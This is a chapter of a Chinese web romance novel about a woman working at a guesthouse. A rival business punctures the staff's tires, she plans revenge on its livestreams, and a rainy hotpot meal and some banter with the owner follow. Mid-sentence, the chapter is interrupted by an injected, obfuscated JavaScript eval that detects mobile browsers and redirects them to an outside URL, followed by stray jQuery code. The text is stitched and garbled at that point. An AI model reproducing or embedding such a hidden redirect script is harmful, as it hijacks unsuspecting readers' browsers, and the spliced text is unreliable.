11. chapter11
作品:《春色欲来时》 上班第二天,祝泗云全勤奖没了。
睁眼时屋子里还是黑漆漆的,手机显示时间已经上午十一点了。
路老板也太良心了,窗帘遮光性这么强,是想把人封印在床上吗?
祝泗云吐着牙膏泡泡,腹诽着推诿。
她有些心虚的鬼鬼祟祟出了房间,大厅里路迟冬不在,倒是昨天睡到大中午的彩虹三人组在长桌前坐着,听见脚步声,一拍脑袋蹭的抬起,看着祝泗云的眼睛在冒金光。
祝泗云看着三双藏不住兴奋的熊猫眼,语气迟疑:“……干嘛?”
跟他们不一样,她昨晚可是睡得很好的,一觉睡到大天亮,好像就是一睁眼一闭眼,还有那么点儿回味无穷。
这是她最近睡得最好的一个觉了,可能是昨天被这间蘑菇屋的松弛气氛感染。
今天天气不好,阴雨天,很适合赖床。
早知道路迟冬不在,她就再睡个回笼觉了。
“小祝姐,你昨晚说的台本……”
Mike眨了眨眼睛,提醒道。
路迟冬和瘦猴儿浑身湿漉漉的回来时,祝泗云四人正研究直播呢。
“怎么搞成这样?”祝泗云惊。
路迟冬没说话,抱着一大箱肉菜去了厨房,就是看着脸色不太好,像是憋着火。
瘦猴儿本来是有点黑的,但这会儿估计是淋了雨,竟然有点白,唇更是没血色,牙齿打着哆嗦,骂了句“操他妈的”。
祝泗云:“?”
瘦猴儿:“隔壁的不是个东西,往他妈大马路上扔车钉!就扎了老子的车!”
路迟冬从厨房出来,喊他赶紧去冲个热水澡,他也回屋去了。
这俩人就像是一场急雨,来得快去得也快。
留下大厅里四人面面相觑。
“啥意思啊,什么叫只扎咱们的车?”瑶瑶皱眉不解问。
大洋手里抓着个本子,“估计啊,是隔壁见着冬哥和猴哥出门儿,让人在远处等着,车过去前洒了车钉呗。”
“真缺德!”Mike气得骂。
祝泗云:“他们以前也这样?”
“那倒是没听说,隔壁的平时当面儿抢客人多点儿,就这也给猴哥气得够呛。”大洋说。
新招儿啊。
祝泗云冷笑,“这是报复我昨天摆了他一道,消息够灵通的。”
祝泗云刚来不到两天,也就昨晚他们一起去过烧烤摊。
估计是被看见了。
路迟冬和瘦猴儿前后脚过来,一人收获了一碗姜糖茶包泡水。
水还很烫,透明玻璃杯的杯壁氤氲着一层水气。
路迟冬眼眸微眯的盯着她看了会儿,说:“这是黄鼠狼拜年?”
祝泗云翻他个白眼:“小人之心。”
瘦猴儿美滋滋的捧着水杯小口喝了口,“真甜!”
“……”
几人坐在大厅,又说起了轮胎被扎的事儿。
瘦猴儿问候了十分钟隔壁的祖宗,又庆幸道:“好在今天没接客人,这他妈车要是坏在半道儿,还下着雨,丢脸事儿小,要是给人弄得病了还是怎么着的,那可摊上事儿了。”
“我们车胎爆了的时候,我还寻思在群里通知了大家一声,结果旁边有俩店人也开车出去了,没啥事儿,前后也就半个小时吧。狗东西,净玩儿阴的!”
“他以为我们没抓到证据就不知道是他干的?都他妈一条街上做生意,谁不知道!王八犊子,出门就滑铲摔断腿!”
祝泗云死死盯着手机屏,“这事儿我搞出来的,他们报复也该找我,你放心,我会替你报仇的!”
这话说得凉飕飕的,像是冬天没穿毛背心儿,后背穿风。
瘦猴儿嘴唇哆嗦了下,扭头看向路迟冬。
路迟冬杯子里的姜糖水喝了大半儿,这会儿从嘴到五脏六腑都烫,他瞥了眼那眼冒凶光的女人,“别胡来。”
“放心,我尊重法律。”
“……”路迟冬心塌了,“你、”他看了眼她死盯着的手机直播,“你要搞掉他们的直播?”
他正想劝,断人财路如杀人父母,小心逼得对方狗急跳墙。
祝泗云脑袋蹭的抬起,盯着他:“隔壁也直播?”
“……”
祝泗云平时只会逛一逛购物平台的直播间,本地直播平台,她连听都没听过,如果不是从瘦猴儿他们嘴里听见,她都要以为是什么盗版广告平台。
祝泗云火速下载,注册账号。
路迟冬在旁边幽幽叹了声气,“你看归看,别举报了。”
祝泗云冒火的眼神唰的抬起盯着他,“怎么,怕我举报你没得看了?”
路迟冬:“……是举报不了,还惹得一身腥。”
瘦猴儿干了最后一口糖水,跟祝泗云解释:“估计是打点过了,之前也不是没人举报,就隔壁那德行,得罪人可太容易了。但都是消停两天就算,没闹出大动静。”
“而且口骚、擦边这种也不好判定,你……”
“你看过?!”祝泗云双眼要喷火。
路迟冬猝不及防被打断,咳了两声。
祝泗云:“你还给他家送钱!”
“……”
今天下雨,气温有些低。路迟冬买了一堆肉菜回来,就是准备涮火锅的。
店里的几人都去厨房帮忙洗菜切菜的装盘,忙得金花婶站在自己的地盘手足无措。
东西搬来大厅的长桌,插着两个鸳鸯电锅。
路迟冬喊大洋,叫着今天没出去玩儿待在屋里的客人出来一起吃。
出来六七个人,男生女生都有。
食材买的不少,倒也不担心不够吃。
十来个人围着锅,蔬菜肉丸和各种肉都下得飞快,吃得热火朝天,玻璃窗上都哈了一层白雾。
瘦猴儿依然吃得不多,筷子吃一口停三口,问他们都去哪儿玩儿了,开心不。
气氛渐渐放松,没了刚开始的拘谨。
一群人明明认识也不过二十来分钟,天南海北的聊,各种话茬儿都有人接。
这顿饭吃了一个多小时,众人揉着撑圆的肚子,还有些意犹未尽,舍不得散场。
一个个好像孤独的灵魂,此刻聚在一起,就算是简单的听听雨声,都显得不那么无聊了。
彩虹组上去换衣服,准备今日份的直播。
祝泗云连定位都没确定,至于台本,也不知道在谁脑子里,反正她暂且没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172671|180750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有。
后半晌时,有三个住上下铺的女生退房了,要去赶晚上的火车。
瘦猴儿抓着车钥匙送人去车站,这也是外面雨还没停,怕她们女生出什么事儿。
祝泗云考古了一下午彩虹组的直播视频,头晕眼花。
三人其实定位不同,瑶瑶唱歌还行,Mike各种cos造型没出过错,大洋就是逗趣儿那一挂的,各有特色。
对着三人期待的目光,祝泗云憋了一会儿,说:“我就像吃了一锅大杂烩菜。”
“……”
“要不……你们分开直播?”祝泗云试探问。
三人天塌了。
“春树下”的本质,可能也是大杂烩。
像是祝泗云来了两天,也没知道自己要干嘛,反正就是看见啥干啥,狗熊掰玉米似的。
祝泗云关了直播回放,起身去储物间拿了三床洗干净的床品到楼下换。
上下铺这种房间,卫生就得见缝插针的做,毕竟大家步调不一致,也不好多打扰。
这会儿房间没人,祝泗云拆了床单被罩枕头套,抱着去了走廊尽头的洗衣间,塞进了洗衣机里。出来就见路迟冬出现在了走廊。
祝泗云翻个大白眼,径直越过他,进了房间铺床单,动作还算熟练,毕竟单人被也好铺,就是被门外那无所事事的人盯得有点冒火。
她蹭的扭头,撞进了路迟冬的眼睛里。
他吃饭时喝了点儿酒,吃完没多久就回房间睡觉了,头发睡得有些乱,像是随手扒拉了两下,脸上没什么表情,就是那双眼睛有点沉,看着人的目光显得格外专注。
两人目光对上一瞬,路迟冬视线移开了,然后没过两秒,他又移了回来。
祝泗云暴躁发飙:“你不帮忙杵那儿看什么!”
本来这事儿是她要做的,可是见他悠悠闲闲的插兜站门口,仿佛监工的姿态,她就有点气不打一处来。
路迟冬沉默两秒,朝屋里看了眼,“女孩儿住的屋,我不好进去。”
祝泗云心想,这人见了鬼似的突然好脾气解释,倒是显得她不通情理还斤斤计较、暴躁无常。
“那你走。”祝泗云没好脸道。
“那不行,这种没全部退房的屋儿,整理收拾得俩人,不然万一有点什么,容易说不清。”
这也确实。
祝泗云有些懊恼。
她抓着被角抖了抖被套,脑袋一扭,朝门口的人忿忿道:“你别想踩着我立人设!”
路迟冬双手插兜靠着门框,额前的发丝垂落,眼睛看着她,调子有些漫不经心道:“你还是不说话时好看。”
有种……夏天傍晚时的太阳的错觉。
耀眼但不刺目,温暖又不燥热。
祝泗云不服气,“我怎样都好看!”
路迟冬轻笑了声,转过脸去,半晌,骨骼绷起的背靠着门框笑弯了腰。
祝泗云不知道他在笑什么,但不妨碍她瞪他。
片刻,路迟冬抬起笑红了的脸,看着她充满警惕的神色,抬了下眉梢,促狭道:“你真觉得自个儿缺了两颗门牙啃西瓜的样子好看?”
祝泗云:“!”
她就知道这王八蛋憋不住好屁!